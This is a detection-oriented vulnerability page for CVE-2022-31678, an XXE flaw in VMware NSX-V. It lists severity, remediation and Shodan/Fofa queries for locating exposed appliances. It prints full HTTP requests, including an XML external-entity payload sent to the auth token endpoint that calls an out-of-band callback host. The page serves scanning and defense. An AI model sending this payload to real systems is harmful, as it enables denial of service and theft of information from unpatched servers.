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CVE-2022-31678: VMWare Cloud Foundation NSX-V - XML External Entity (XXE)

TitleVMWare Cloud Foundation NSX-V - XML External Entity (XXE)
Authordaffainfo
SeverityCritical
ImpactAttackers can cause denial-of-service or access sensitive information by exploiting XXE vulnerability.
RemediationUpdate to the latest version of VMware Cloud Foundation with patched NSX-V component.
CVSS Score9.1
EPSS Score0.57586
CVE IDCVE-2022-31678
CWE IDCWE-611
Shodan Querytitle:"VMware Appliance Management"
Fofa Querytitle="VMware Appliance Management"
Tags cve cve2022 vmware nsx xxe vkev

🔍 Vulnerability Description

VMware Cloud Foundation (NSX-V) contains an XML External Entity (XXE) vulnerability. On VCF 3.x instances with NSX-V deployed, this may allow a user to exploit this issue leading to a denial-of-service condition or unintended information disclosure.

🌐 HTTP Request

GET /login.jsp HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:24.0) Gecko/20100101 Firefox/24.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
POST /api/3.0/services/auth/token HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Content-Length: 221
Content-Type: application/xml
Accept-Encoding: gzip

<?xml version="1.0"?>
<!DOCTYPE r [
  <!ENTITY xxe SYSTEM "http://d6dtg1ple0o4r05f005gxbn7g68wmw7og.oast.fun">
]>
<request>
  <username>&xxe;</username>
  <password>3A3V6EvL4u8B7TMy2A9siDbbd34</password>
</request>

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-31678.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-31678.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A